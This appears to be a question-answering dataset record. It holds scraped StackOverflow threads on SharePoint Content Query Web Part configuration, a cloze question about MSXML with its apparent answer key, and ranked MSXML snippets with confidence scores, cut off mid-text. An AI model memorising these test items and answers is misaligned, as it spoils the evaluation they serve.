www.glynblogs.com 2011 06 querying-specific-lists-with-the-content-query-web-part.html", "Question : I have customized CQWP Content Query Web Part to display items from my sub sites . The items are filtered based on my custom content-type . I have cusomized the rendering of additional fields in CQWP using ItemStyle.xsl . I am having a strange issue that my web part is able to render data when the page is in Edit mode however when i exit the edit mode the web part is not showing any data . Any Help Pointers Sudhir Kesharwani .. . Answer : I have figured out the issue the CQWP has a property called UseCache . By default this property is set to True this conflicts with the web part rendering . To resolve this I exported my web part onto my local machine and updated the UseCache property to False .. . .. . This worked like charm . My sincere thatnks to Michael Nemtsev http : msmvps.com blogs laflour archive 2008 12 24 why-content-query-web-part-cqwp-doesn-t-return-all-results.aspx .. . .. . Regards Sudhir Kesharwani Comment : Fantastic start from a new StackOverflow users - Good question and you came back to it with a clear answer and a reference . Wish all new StackOverflow users were as conscientious + 2 internets from me", "Question : Is it possible to add a cqwp in a page layout Ive tried to move the webpart from the page to the page layout used in the page . But In the second case i dont see anything . Anyone have an idea Thanx .. . Answer : It is supported to add instance of CQWP into Page Layout . Possible reasons why CQWP results are not visible : .. . .. . Javascript CSS that affect the visibility of web part .. . Verify source settings for web part . In case if page and page layouts located on different sites and the source property is configured to Show items from the following list or Show items from the following site and all subsites then this could be the reason . In both cases for for source property the relative-path could be specified . enter image description here http : i.stack.imgur.com CUSNl.png", "Question : Is there any good reference to change Content Query Webpart formatting . I would like to display results in two columns for a specific CQWP without changing the XSL file . .. . Answer : You will have to change XSLT . see e.g . : http : social.technet.microsoft.com Forums sharepoint en-US 1484df2b-0fb9-4b58-b833-a75019db88c7 content-query-display-multiple-columns .. . .. . Please check the below link .. . .. . http : pholpar.wordpress.com 2010 01 21 displaying-results-in-multiple-columns-using-the-content-query-web-part .. . .. . Other option is you ca use Dataview webpart to show the list details from one site to other site .. . .. . http : www.learningsharepoint.com 2012 08 12 sharepoint-2013-add-dataview-webpart-with-sharepoint-designer-2013 .. . .. . http : sharepointgeorge.com 2009 display-sharepoint-list-site-data-view-web-part", "Question : Here is my setup and I m in an-premise SharePoint 2013 environment : .. . .. . 1 . Asset Library OOTB .. . 2 . Video Content Type Applied OOTB .. . 3 . Video file uploaded and default rendition created .. . 4 . CQWP OOTB Filtering by content-type Video .. . .. . The CQWP query properties : .. . .. . web part configuration http : i.stack.imgur.com unmNS.png .. . .. . The result using a ShowXML item style is the following data . Notice how the path to the actual video file is not referenced : .. . .. . xml data returned for video item http : i.stack.imgur.com SZAob.png .. . .. . There is some missing-data from this view . I cannot find the right column names to type in the Fields to display to get the following items : .. . .. . Frame Width Found VideoWidthInPixels .. . Frame Height Found VideoHeightInPixels .. . Length Found MediaLengthInSeconds .. . Video File URL .. . .. . I understand if I navigate to the FileRef that I get redirected to a page that renders the video but we need the videos output by a CQWP to build an html5 player directly on the page - without silverlight . Thanks for any help you guys can provide Comment : I ve since found some of the missing information . Frame Width is VideoWidthInPixels and Frame Height is VideoHeightInPixels . Using these in a CQWP Item Style will get the width height of the video . Comment : The field you need for length is MediaLengthInSeconds . .. . Answer : The Content Query Web Part does not return all fields for all items automatically . You can use the CommonViewFields property http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.commonviewfields 28v office.12 29.aspx to request specific fields to render . Steps : .. . .. . 1 Export CQWP .. . .. . In order to render VideoHeightInPixels and VideoWidthInPixels properties locate the CommonViewFields property in the .webpart file and then edit it to look like the following : .. . .. . This markup requests the VideoHeightInPixels and VideoWidthInPixels columns to make the data in the columns available for rendering . Each internal column name is specified followed by its data type . The name type pairs are separated by semicolons . 2 Save the modified .webpart file and upload it .. . .. . Video Content Type .. . .. . Since Video content-type called Video Set is derived from Document Set content-type when the video asset is uploaded the new Video Set Folder is being created . FileRef format : .. . .. . where videosetname is automatically generated based on the uploaded file name for example : .. . .. . How to configure CQWP to render video files from Assets Library .. . .. . In order to render video files from Assets library specify the following query .. . .. . enter image description here http : i.stack.imgur.com 8OBjG.png Comment : Thanks Vadim - I was able to find those fields and use them correctly . However there is one more site column I m unable to identify - the site column used to store the filename . FileLeafRef unfortunately returns the filename of the file containing the content-type info . That may be a little confusing - but if I upload a video with the title of Legos then there will a file Site Assets Legos which is returned in the FileLeafRef site column but the location of the mp4 file is actually Site Assets Legos original-filename.mp4 . Does that make sense Comment : Markus since Video content-type is derived from Document Set content-type when the video asset is uploaded the new Document Set is being created . Comment : Please find more details in an updated answer Comment : thanks so much I m looking into the FileRef to see if I get any of the data back . I can t connect to the env just yet but will mark your answer as soon as I test this afternoon . Comment : FileRef used within a CQWP is returning the path to the folder sp 2013 and not including the filename of the file . So in my example above with a video titled Test Lego Video . The FileRef returns sites mdrake SiteAssets Test Lego Video and not sites mdrake SiteAssets Test Lego Video small.mp4 which is the file I uploaded . Is there any way to get the remainder of what s missing.. . small.mp4", "Question : I am building a Sharepoint WCM site for a client . As part of a page layout I inserted a content query web part directly in the page not in a web part zone so the users couldn t edit it . Everything works fine in my development-environment however when I deployed it to production the web part would say no items returned . When I went into the feature directory and changed the page layout to include the webpart zone wrapper it fixed the problem however I don t really want it to have a web part zone . My development-environment is Windows 2003 however the production site is Windows 2008 . Can anyone explain why it may not be working Thanks .. . Answer : This might not be what your issue is but keep in mind that if you embed the CQWP directly in the PageLayout it doesn t have access to SPContext.Current i.e . the web part doesn t know where it is in the site hierarchy so it will default to returning everything in the Site Collection . That being the case it would seem like it would return everything and not nothing . Here s a post explaining a work-around if this is indeed related to your issue : .. . .. . http : suguk.org blogs sharepointhack archive 2008 09 17 13785.aspx", "Question : I am trying to use a Content Query Web Part to create a What s New page in Sharepoint 2010 . The goal of this page is to display any documents that have been uploaded in the last 14 days . The trick is that these documents could belong to any number of lists that are defined in any number of list definitions . These are custom list definitions based on custom content types . We do have a base content-type that each of our custom content types inherit from . They are also all part of the same content-type group . I have determined that it is not possible to use the SP UI to set up the CQWP to return items from multiple list types since one of the required query fields is list type . So - I m attempting to use CAML to define this CQWP and this is where I m having trouble . My end goal is for the CAML to be defined in a site definition onet.xml file but I ve also not had any luck with uploading a .webpart file from the SP UI . I have found several articles that explain how this should be done but haven t been able to get the suggested solutions to work . This MSDN article http : msdn.microsoft.com en-us library aa981241.aspx tells me it should be possible using the ListsOverride element . This is how the article tells me to do it : .. . .. . Since I m looking for Document Libraries I would use a base type of 1 rather than 0 . I have been unable to determine the syntax for what that would actually look like from within the onet.xml file so I thought I d start with trying to get it uploaded as a .webpart file . This is what the ListsOverride element looks like : .. . .. . However - as soon as I upload a .webpart file with this in the CAML and add the webpart to a page I break that page in Sharepoint . This is what I get : .. . .. . Server Error in Application . Attempted to use an object that has ceased to exist . Research on that error points me to code that disposes of an object such as SPContext.Current.Web but I don t even have any code at all here . It almost looks like the CQWP has a bug in it . OR - I m either not formatting that CAML properly or maybe I need to change something in a different element in the CAML I am running Sharepoint 2010 SP1 with all the latest patches . I believe .. . .. . I ve tried several other formats but without luck . I tried getting rid of the embedded CDATA tags like this : .. . .. . But then Sharepoint won t let me upload the .webpart file . Invalid .webpart file .. . .. . The format with the embedded CDATA tags seems to be the only way it lets me upload the file . I ve tried just for the sake of narrowing down my issue to specify specific lists like this : .. . .. . That doesn t break the page but the webpart gives me less than useful error on the page Unable to display this Web Part .. . .. . I m not 100 sure that I used the appropriate GUID in that attempt . I got it from looking in the server-explorer in Visual Studio Under Lists and Libraries Document Libraries My List Type . I got the GUID from the Id property .. . .. . I should mention that I am fairly new with Sharepoint development . I would have hoped that something seemingly so core to what Sharepoint does would be much easier than this . Can someone please point out what I am doing wrong Maybe I m going about the whole thing in the wrong way I appreciate any help that anyone can give me .. . Answer : I found that the issue was all the extra fields that SharePoint had populated . In my case I started by configuring the content query web part on the page and then exporting it to get the xml . Then I put the XML in my onet.xml file of my site definition . That worked fine initially but as I tried to configure the base types it did not behave as expected . If I removed all the additional fields and just used the few fields that I actually needed to configure then it started to work . In fact I didn t even need to use the ListsOverride element since there is a BaseType property that works just fine . It appears that one of the other properties that I was pulling in was really the cause of my issues . Here s a webpart definition that I used in my onet.xml : Comment : Very nice . Welcome to stackoverflow", "Question : I m basically editing ItemStyle.xsl to get it to retrieve what I need and display through a CQWP Content Query Web Part . I need it to display only the top 5 posts with the most comments . The comments can be retrieved via @NumComments . I m not familiar enough with XSL to know how to do it I m assuming using count Any tips Here s the current XSL code for that template which just displays all posts . Comment : I have updated my answer adding a complete code example . .. . Answer : I was able to do this directly in the CQWP web part instead of the ItemStyle.xsl .. . .. . Replacing .. . .. . With", "Question : null .. . Answer : We ve just upgraded SharePoint from 2007 to 2010 . I ve edited a CQWP that points to a site containing multiple blog sub-sites and it grabs the latest posts from these sites and displays the latest 5 on my homepage . I can get all fields to display except the @NumComments - which is frustrating because I found it really useful . It works fine if you point to an individual Posts list but not when you point to an entire site and select the content-type to Posts . I ve also tried this with an OOTB CQWP and I get the same result . What I ve tried so far : .. . .. . 1 . Adding the NumComments to the DataMappings property in the CQWP . 2 . Adding the NumComments field to the CommonViewFields property then displaying it in the Item.xsl . 3 . Creating a lookup column of the Comments column and try to grab that data . That s roughly about it without using Designer which I don t have access to . Is this a known issue with SharePoint It used to work perfectly in 2007 but stopped after the upgrade . I m about out of ideas so any advice would be appreciated .", "Question : I am new to sharepoint development . I have created a subsite and called it Surveys . This will contain all the surveys created in the portal . Now I want to display the latest survey on the homepage . I though I would be able to do that using a content query web part sort the CQWP descendently on survey creation date and restrict the number of displayed items to one . Unfortunately this doesnt work at all Is my solution achievable It seems to me that the Survey content types isn t a normal one as I can t see it in the content types gallery . How could my requirement be fulfilled without code Thanks for any help .. . Answer : OOTB Survey List does not contain any Content Types http : msdn.microsoft.com en-us library microsoft.sharepoint.spcontenttype.aspx and it has the following structure : .. . .. . Response entry is represented by List Item http : msdn.microsoft.com en-us library microsoft.sharepoint.splistitem 28v office.14 29.aspx .. . .. . Response entry consist of questions and answers where Question correspond to Field http : msdn.microsoft.com en-us library microsoft.sharepoint.spfield.aspx and Answer to Item value respectively . .. . .. . For querying Survey List via CQWP the following properties could be used .. . .. . BaseType http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.basetype.aspx Lists BaseType 4 .. . ServerTemplate http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.servertemplate.aspx Lists ServerTemplate 102 .. . .. . Example .. . .. . To retrieve all the responses from Survey lists specify List Type property as shown on picture .. . .. . enter image description here http : i.stack.imgur.com tkjcM.png", "Question : I m new to the Sharepoint 2007 server . I ve built the CQWP which sits on the homepage and displays files Word Excel docs uploaded to the Shared Document library on any subsite . The issue I m having is that CQWP displays document titles or notes instead of the actual file names . I would also like to display what subsite the document has been uploaded to . Any help is greatly appreciated . Thanks Roman .. . Answer : I believe this will require some customization of the CQWP s ItemStyle.xsl http : msdn.microsoft.com en-us library bb447557.aspx . I would suggest taking a look at Heather Solomon s site for a really good intro http : www.heathersolomon.com blog articles customitemstyle.aspx . I think the internal column names you will want to display are FileLeafRef or LinkFilename just the document filename and probably FileDirRef for the Subsite although it also includes the Library name . Some notes that I had from when I customized the CQWP : .. . .. . Always make a backup of ItemStyle.xsl .. . An error in the ItemStyle.xsl file will break ALL content query web-parts .. . Watch out for newlines and spaces in between tags", "Question : I m using a CQWP Content query web part that fetch a calendar list and I want to filter my result customqueryoverride - usign CAML . However some fields from the calendar list are hidden to me . I want to know all fields in my calendar list . The solution I came up with was to use an identity transform XSL to display all my properties and their values and adding all fields to the CommonViewFields property . The issue I have is that I dont know the field name.. . Any wildcard I could use and didn t work Any other way of getting all the fields name would work too . .. . .. . Note : It s to understand and play with recurrent events . .. . Answer : Use tag for this comment the main template in main XSL and add this as template match : .. . .. . Now the CQWP will display the full query response XML", "Question : I have a content query web part on page which i am using to pull a list of links from a link list to display on page . I thought clicking this link user would be able to navigate to the link itself but when clicked rather the List item is opened . Can anyone tell me how i can have the link-to redirect to the URL beneath and not the list item .. . Answer : In order to render Links List items that redirects to the URL instead of List Item URL in CQWP http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.aspx specify in Presentation tab for Fields to display : .. . .. . Link : URL Custom Columns .. . .. . as shown on picture below .. . .. . enter image description here http : i.stack.imgur.com ymrVf.png Comment : Much Thanks @vgrem You made my day . This is exactly what i was looking for and i nowhere thought it is this simple . Comment : The picture looks like a dead link", "Question : I m trying to build a Custom Query Web Part that pulls data from multiple lists or I d just do this with a List View and I want to group the data by first letter A-Z . Right now I have a calculated column that is using LEFT Title 1 to determine the first letter of each data-entry . Even if I modify the .webpart file s GroupBy property for the CQWP to force it to group-by my calculated column Letter though the query comes up empty because it can t group-by a calculated column . Does anyone know of another way I can do this or a way to make Sharepoint have a static column of the calculated value Comment : I m using a Workflow to copy the calculated data into a static field every time an item is changed or created right now but that s not a very portable solution to other lists because I made it in Sharepoint Designer . .. . Answer : Unfortunately you ll have to make this using a combination of a field and a SPItemEventReceiver so you generate a readonly field and make a EventReceiver which updates it in ItemAdding and ItemUpdating", "Question : I am trying to setup a content query web part in MOSS that will display documents on a page based on a choice column that I created . I have created a Page column and added it as a core document column for my site . What I would like the CQWP to do is filter the document list that is displayed based on this Page column . However this column does not show up as a filter in the CQWP on the page . I tried following the instructions in this question : http : stackoverflow.com questions 1848695 content-query-webpart-grouping-by-custom-column to no avail . Does anyone have any ideas as to how I can accomplish this .. . Answer : Have you tried CommonViewFields http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.commonviewfields.aspx as suggested http : msdn.microsoft.com en-us library ms497457.aspx in the second answer from that other question http : stackoverflow.com questions 1848695 content-query-webpart-grouping-by-custom-column You can edit the property in SharePoint Designer or by exporting the web part changing the CommonViewFields in Notepad and then re-importing the web part . If CommonViewFields doesn t work you can always modify the filter property directly in either SPD or using export-Notepad-import . Be sure you are pointing to a Content Type that includes your custom field . Comment : How do you access the filter directly sorry I m a little new with SPD Comment : In SPD select the CQWP . In the CategoryConfigureQuery category of the Tag Properties pane edit FilterField1 FilterOperator1 FilterType1 and FilterValue1 . Instead of starting with a blank slate I would set the filter to a field that is appearing in the webpart builder in the browser and then modify the settings as necessary in SPD .", "Question : I m using a CQWP Content query web part that fetch a calendar list and I want to filter my result customqueryoverride - usign CAML . However some fields from the calendar list are hidden to me . I want to know all fields in my calendar list . The solution I came up with was to use an identity transform XSL to display all my properties and their values and adding all fields to the CommonViewFields property . The issue I have is that I dont know the field name.. . Any wildcard I could use and didn t work Any other way of getting all the fields name would work too . .. . .. . Note : It s to understand and play with recurrent events . .. . Answer : To print all available field names in CQWP the following XSLT could be used : .. . .. . It should be placed in ItemStyle.xsl inside template that is used to item rendering .", "Question : i have created a CQWP with the following Xslt Template : .. . .. . The problem is when accessing as an Authorized user it shows a drop down list with the actual data works well but when accessing Anonymously it displays All the Data Except Some fields Such as @Country . any help is appreciated .. . Answer : Checking in Approving all the needed files solved the problem the files are : .. . .. . Separate Js File .. . XSL File .. . The Page that hosts the Web Part that uses the XSL Template .. . .. . previously i was checking in approving only Js and XSL Files", "Question : Besides buying a third party what is the best approach to extending the CQWP control to include content from a seperate site collection .. . Answer : Actually we figured it out . We were successfully able to inherit from CQWP and use a ton of reflector to reproduce a lot of the CQWP code and got it working quite well to query other site collections as well as the current . The code involved was not for the faint of heart though . Comment : Hi Shane . Could you provide any details regarding the implementation Maybe a blogpost.. . I think this would be really interesting . Thanks", "Question : Besides buying a third party what is the best approach to extending the CQWP control to include content from a seperate site collection .. . Answer : You can not override the content query webpart to query another site collection . It uses the SPSiteDataQuery http : msdn.microsoft.com en-us library microsoft.sharepoint.spsitedataquery.aspx this is limited to the current site collection . But you could create a custom webpart that has similar function but looks to a site collection by url rather than from the SPContext . Example : .. . .. . using SPSite site new SPSite http : server build a SPSiteDataQuery include the CAML query use the datatable of results to create XML use XSLT to transform XML into HTML" ] }
[ "yes-answer-long", "yes-answer-short" ]
cqwp
UNK_RELATION
msxml@dom@78
msxml -- msxml are the microsoft xml core-services which includes a full xml @placeholder implementation .
{ "confidence": [ 54.060508728027344, 47.31854248046875, 47.098060607910156, 45.356510162353516, 44.888641357421875, 43.882225036621094, 43.882225036621094, 43.749267578125, 43.61048126220703, 41.73194885253906, 41.73194885253906, 40.60980224609375, 39.48473358154297, 39.419471740722656, 39.41038131713867, 39.41038131713867, 39.41038131713867, 39.35599899291992, 39.35599899291992, 39.35599899291992, 39.35599899291992, 39.28208541870117, 39.20951843261719, 39.209075927734375, 38.829864501953125, 38.44255828857422, 38.37794494628906, 38.37794494628906, 38.37794494628906, 38.37794494628906, 38.246150970458984, 38.241111755371094, 38.23146438598633, 38.21806335449219, 37.977455139160156, 37.730567932128906, 37.730567932128906, 37.730567932128906, 37.059242248535156, 37.02188491821289, 37.02188491821289, 36.99940490722656, 36.958038330078125, 36.888999938964844, 36.733543395996094, 36.268898010253906, 35.833587646484375, 35.80647277832031, 35.78582000732422, 35.78468322753906, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.54759979248047, 35.508819580078125, 35.43461227416992, 34.9918212890625, 34.71246337890625, 34.612464904785156, 34.56954574584961, 34.56954574584961, 34.56954574584961, 34.56954574584961, 34.49028015136719, 34.29693603515625, 34.29693603515625, 34.0649299621582, 34.0649299621582, 34.0649299621582, 34.0649299621582, 34.0649299621582, 33.39732360839844, 33.39732360839844, 33.39732360839844, 33.31888198852539, 33.24836730957031, 32.98227310180664, 32.73866271972656, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.590641021728516, 32.50080871582031, 32.37690734863281, 32.27031707763672, 32.24428939819336 ], "content": [ "i have an understanding-problem using Microsoft XML Core Services 6.0 MSXML with XPath-expressions .", "XML : .. . .. . XSL : .. . .. . MSXML parser is used for conversion", "Or if I can convert the MSXML to a .NET XML type which can then be used", "Using MSXML and VBA I want to create a hiarachy of the same XML nodes .", "For MSXML one can use my own implementation of a subset of EXSLT functions -- for MSXML .", "It should be created through MSXML then the .xml property should be sent .", "Is there any easy way in msxml to merge two xml documents IXMLDomDocuments", "Sorry no XML 1.1 with any MSXML version : .. . .. . As Microsoft states see data developer center http : msdn.microsoft.com en-us data bb291077.aspx and MSXML SDK Overview http : msdn.microsoft.com en-us library ms760399.aspx MSXML is for applications that adhere to the XML 1.0 standard .", "How do I solve the .. . .. . problem with Microsoft s msxml implementation", "MSXML5 is the only version of MSXML that supports XML digital signatures .", "Seems that MSXML 5 is the only version able to sign digitally a XML .", "I remember there was a way to do this with the msxml extensions I m using msxml .", "I have to find which msxml file is present on the system .", "Microsoft.XMLDOM corresponds MSXML 3.0 if you have as the last version of MSXML which supported independent ProgIDs .", "PrettyPrintXML from Daniel s answer here : .. . .. . How can I pretty-print XML source using VB6 and MSXML", "http : stackoverflow.com questions 1118576 how-can-i-pretty-print-xml-source-using-vb6-and-msxml", "PRB : MSXML 4.0 Sets the XML Namespace Attribute to an Empty Value for Child Nodes http : support.microsoft.com kb 828928", "Is that in-memory limitation in TXMLDocument or in MSXML", "TXMLDocument is a wrapper around MSXML .", "What version of MSXML", "As of MSXML 6.0 XDR is not supported .", "MSXML 4 is not pci compliant https : community.intuit.com questions 1110103-xml-parser-vulnerability-introduced-by-installation .. . .. . Out of box Windows 10 that is msxml 6 only correct", "Microsoft are now only patching version 3.0 and version 6.0 MSXML cores .", "I have a function which uses MSXML to post an XML document which yesterday started failing despite no change being made to the code .", "example code .. . .. . FYI : See which-version-of-msxml-should-i-use http : stackoverflow.com questions 951804 which-version-of-msxml-should-i-use to learn how to select a version of MSXML .", "I m currently working on a page in Classic ASP VB which utilizes MSXML to read an external XML feed .", "This is not MSXML it s .NET .", "MSXML doesn t do that .", "Now with MSXML it is a bit different .", "MSXML is provided as COM objects .", "See : .. . .. . List of Microsoft XML Parser MSXML versions http : support.microsoft.com kb 269238 .. . Using the right version of MSXML in Internet Explorer http : blogs.msdn.com xmlteam archive 2006 10 23 using-the-right-version-of-msxml-in-internet-explorer.aspx", "I m writing out XML files using the MSXML parser with a wrapper I downloaded from here : http : www.codeproject.com KB XML JW CXml.aspx .", "Accoarding to a Microsoft article cross-domain redirects are not allowed in MsXML .", "All validation support seems to be based on the MSXML implementation which makes the wizard useless if you need schema validation .", "By MSDN : Building MSXML Applications https : msdn.microsoft.com en-us library ms753804 v vs.85 .aspx some of the MSXML 3.0 examples will not work with MSXML 6.0 for some reasons.. . This topic provides instructions on making MSXML 3.0 samples work with MSXML 6.0", "Is there a maximum length for a query that msxml enforces", "Is there a way to free MSXML-Objects manually", "MSXml 6.0 was installed as part of os .", "Back before Microsoft killed the platform I was able to use MSXML .", "I have written a wrapper on top of MSXML in c++ .", "Then i try to load using the MSXML loadXML method .", "I can see multiple versions installed in programs list MSXML 4.0 SP2 KB954430 MSXML 4.0 SP2 KB973688 MSXML 4.0 SP3 Parser MSXML 4.0 SP3 Parser KB973685 MSXML 4.0 SP3 Parser KB2758694 . .", "I am trying to parse xml file using MSXML But I want to parse particular tags nodes not all nodes .", "Assuming your XSLT processor is a version of MSXML like MSXML 3 or MSXML 6 which is used inside Internet Explorer as the XSLT processor the API is the MSXML API documented in http : msdn.microsoft.com en-us library ms764730 28v vs.85 29.aspx .", "There is an old article http : www.xml.com pub a 2003 08 06 exslt.html discussing an implementation http : fxsl.sourceforge.net of exslt on top of MSXML .", "windows has-many MSXML versions that can be installed side-by-side .", "I determined that MSXML v3.0 is being used for the XSLTs by including the following in one of my XSLT files : .. . .. . I don t understand why MSXML v3.0 is used instead of MSXML v6.0 .", "Consider using the XmlHttp which is part of MSXML and is supported and continues to be maintained .", "I have to deal with a legacy application that uses MSXML to write measurement data to a simple XML file .", "I think it is possible to use of msxml refrences but i don t know how can designed it by msxml .", "Default language is not XPath for older versions of MSXML .", "Here s the guts of the solution I m using with msxml .", "Is there anyway in MSXML to avoid adding or removing the namespace for Child Three", "MSXML will represent exactly the namespaces you tell it to represent .", "What needs to change for the app to use MSXML v6.0", "When creating msxml object specify the version explicitly .", "It s from native msxml COM object library .", "The better idea is to not mix MSXML and .NET at all .", "Are you sure that msxml does support the @id notation", "Where does MSXML IXMLDOMDocument : : save save", "Is it possible to use MSXML for C++ IXMLDomDocument to validate this", "More information about MSXML versions http : stackoverflow.com questions 951804 which-version-of-msxml-should-i-use rq 1 .", "When saving the resulting DOMDocument to a XML file the root object gets rendered as a single very long line of text : .. . .. . Is it possible to force MSXML to format the resulting XML file with indents and newlines", "I would recommend to download Microsoft Core XML Services MSXML 6.0 SDK http : www.microsoft.com downloads details.aspx familyid 993C0BCF-3BCF-4009-BE21-27E85E1857B1 displaylang en as it has a C++ sample code that shows how to do that .", "I am using MSXML 4 to generate the following xml string : .. . .. . However the output from my IXMLDOMDocument2Ptr always includes a namespace for Child Three : .. . .. . My understanding is that this behavior is part of the XML standard but the system receiving the xml rejects it if the extra namespace is present .", "If you need to edit the code check out the msxml tag info http : stackoverflow.com tags msxml info .", "I can parse the SVG file using MSXML .", "In particular verify that it works with IE that means with MSXML .. . 3 .", "MSXML has a rich set of features e.g .", "In addition MSXML supports XSD 1.0 and DTD validation .", "I am trying to parse an MSXML which is a response from a web-services via XmlStreamReader .", "If you must then get the xml string from the MSXML object and either create an XmlReader over the string or else load the string into an XmlDocument .", "We have some code that uses MSXML and does this to create the XML document object : .. . .. . Once we re finished with doc in how do we destroy it", "I have appendChild and insertBefore available to me as methods in msxml .", "Dont suppose you know how to add a DTD declaration with MSXML", "To better leverage MSXML please consider loading from IStream or a Win32 file .", "Could you include something about where you put this into MSXML", "Does not use ADODB streams and does not need MSXML in project references .", "Don t mix versions of MSXML in the same script .", "But tinyxml2 : : XMLDocument is in conflict with ms s XMLDocument in msxml .", "Can I make MSXML recognize it as valid somehow", "The XSLT I used : .. . .. . Input file : .. . .. . Result in MSXML 3.0 4.0 6.0 : .. . .. . Result in Saxon9he : .. . .. . result in XML Spy built-in xsl engine :", "A quick google for C xslt msxml revealed a link-to the following page which gives many examples of extending XSLT in microsoft environments .", "However the design of versions 3.0 and later of the MSXML parser has been changed to strictly enforce the valid XML character ranges that are defined in the W3C XML language specification .", "See stackoverflow.com questions 951804 http : stackoverflow.com questions 951804 which-version-of-msxml-should-i-use - i.e .", "I m planning to do a relatively large XPath query using msxml .", "Using MSXML were so easy formerly sadly it does not work now", "MSXML 2.0 provides support for XSL Patterns the precursor to XPath 1.0 .", "Take a look under Windows system32 msxml ver .dll .", "There is indeed no option in the codeproject lib it s just a barebones wrapper around MSXML .", "Unfortunately I m using MSXML v6.0 so this shouldn t affect me .", "How do i query the default namespace using MSXML", "Note : msxml is native-code and using it from a native Win32 compiler i.e .", "But that version of MSXML is not standards compliant since it was created before there were standards .", "The program i use for this is Paradox 11 and i use MSXML by OLE .", "With MSXML when you save the file the encoding will be written out as well .", "Not exactly related to your problem : I tried writing a wrapper around MSXML and eventually gave up and just used MSXML directly after hitting problems similar to this .", "I know something about MSXML parser to create an xml with native-code ..Msxml depends COM..So I want to create xml without com and dom so i wish to choose XMLLITE..but i dont know full details about xmllite when i was read the xmllite documentation in msdn i gathered some points they will provide only 2 things IXMLReader IxmlWriter .Here in msxml i had many functions to do xml operations such as selectsinglenode appendchild ..Now can i perform the same things with XMLLITE ..please give me the right choice towards this .. .", "In this file I use node-set function which declared in different namespaces for MSXML and xsltproc urn : schemas-microsoft-com : xslt and http : exslt.org common respectively .", "See : http : www.w3.org TR DOM-Level-2-Core core.html ID-1950641247 .. . .. . renameNode is possible in DOM Level 3 but not in MSXML library" ] }
{ "confidence": [ 61.65715789794922, 59.228607177734375, 58.49885559082031, 56.044288635253906, 55.8681755065918, 55.68803024291992, 55.22298812866211, 54.961849212646484, 54.7926025390625, 54.037723541259766, 53.537757873535156, 52.67026138305664, 52.465736389160156, 52.40253829956055, 52.388885498046875, 52.10824203491211, 51.95024871826172, 51.59495162963867, 51.219810485839844, 50.950927734375 ], "content": [ "Question : Please note that I m asking for validation against a particular node and not the whole file . For examples .. . .. . For this XML doc I have an wholeDoc.XSD which could be used to validate the whole document except UserDefinedNode This node is specified with any tag in xsd which allows a user to define anything under that node . Is it possible to have a separate userdefined.XSD file to validate UserDefinedNode Is it possible to use MSXML for C++ IXMLDomDocument to validate this Thanks .. . Answer : Yes that is possible . I would recommend to download Microsoft Core XML Services MSXML 6.0 SDK http : www.microsoft.com downloads details.aspx familyid 993C0BCF-3BCF-4009-BE21-27E85E1857B1 displaylang en as it has a C++ sample code that shows how to do that .", "Question : If I use MSXML6.dll to parse XML 1.1 I will get this error : 0xC00CE57F .. . .. . MSG E INVALID VERSION .. . .. . Invalid version number .. . .. . XML 1.1 was initially published on February 4 2004 . I m surprised that MSXML6.dll can not parse it . The question : Does any MSXML4 5 6.dll support XML 1.1 Thanks in advance . .. . Answer : Sorry no XML 1.1 with any MSXML version : .. . .. . As Microsoft states see data developer center http : msdn.microsoft.com en-us data bb291077.aspx and MSXML SDK Overview http : msdn.microsoft.com en-us library ms760399.aspx MSXML is for applications that adhere to the XML 1.0 standard . Comment : Microsoft instead of you ought to say sorry shouldn t it : Comment : You re perfectly right : btw you can contact the xml team I did years ago to place request for xslt-2.0 which they later decided to defer because of LINQ etc .", "Question : The Data Binding Wizard in Delphi XE generates classes and interfaces that inherit from Delphi s own implementation of the DOM ADOM XML v4 which doesn t appear to support validation against schemas - the validate on parse option only works with the MSXML vendor type - as can be seen from the VCL source code and also the behavior of XMLDocument component in the IDE . All validation support seems to be based on the MSXML implementation which makes the wizard useless if you need schema validation . Am I missing something here Is there a way to configure the binding wizard or some underlying utility to generate classes and interfaces based on MSXML which supports validation Or are there calls interfaces that support schema validation using Delphi s implementation of ADOM XML that I haven t come across MNG Comment : It would help if you could give some sample XSD + code in your question that works with the currently generated code but doesn t do validation + some MSXML sample code that does validation against the XSD . Then the community can have a look and try to mix the two . Please edit your question and add the above things . .. . Answer : The code generated by the XML Data Binding Wizard depends on the units XMLDoc http : docwiki.embarcadero.com VCL en XMLDoc and XMLIntf http : docwiki.embarcadero.com VCL XE en XMLIntf the document references are TXMLDocument http : docwiki.embarcadero.com VCL en XMLDoc.TXMLDocument and IXMLDocument http : docwiki.embarcadero.com VCL en XMLIntf.IXMLDocument . IXMLDocument is implemented by TXMLDocument which is the generic wrapper around XML DOMs supported by Delphi . The DOM used by TXmlDocument depends on the value of the DOMVendor property http : docwiki.embarcadero.com VCL en XMLDoc.TXMLDocument.DOMVendor . If a DOMVendor is not specified when activating a TXMLDocument instance it isn t as the XML Data Binding Wizard generates DOM neutral code then the actual XML DOM used depends on these two members of the XMLDOM unit http : docwiki.embarcadero.com VCL en Xmldom : .. . .. . In your case it appears that the MSXML DOM is either the default XML DOM or the only XML DOM available . So you should check the values of DefaultDOMVendor http : docwiki.embarcadero.com VCL en Xmldom.DefaultDOMVendor and the DOMVendors http : docwiki.embarcadero.com VCL en Xmldom.DOMVendors list . It would certainly help if you can edit your question with the values of the above and a reproducible case that shows how you observed the MSXML DOM is being used . Edit : .. . .. . You can fore the run-time use of a specific XML DOM vendor right before you load your XML root node or create a new XML root node like this : Comment : @Jeroen - The default in the binding Wizard is for the generic implementation and I found no option to force it to use MSXML - that s my question : can that be done and if so how . Maybe the wizard runs a command-line tool and you can pass it parameters to generate MSXML interfaces - but this option is not exposed in the wizard . Comment : Since you can change the DOM at run-time see my edit : why would you want to have it bound to a vendor specific XML DOM of which the behaviour is specific which MSXML version is installed on your end-user system see for instance these links for issues with MSXML 6 stackoverflow.com questions 4346060 http : 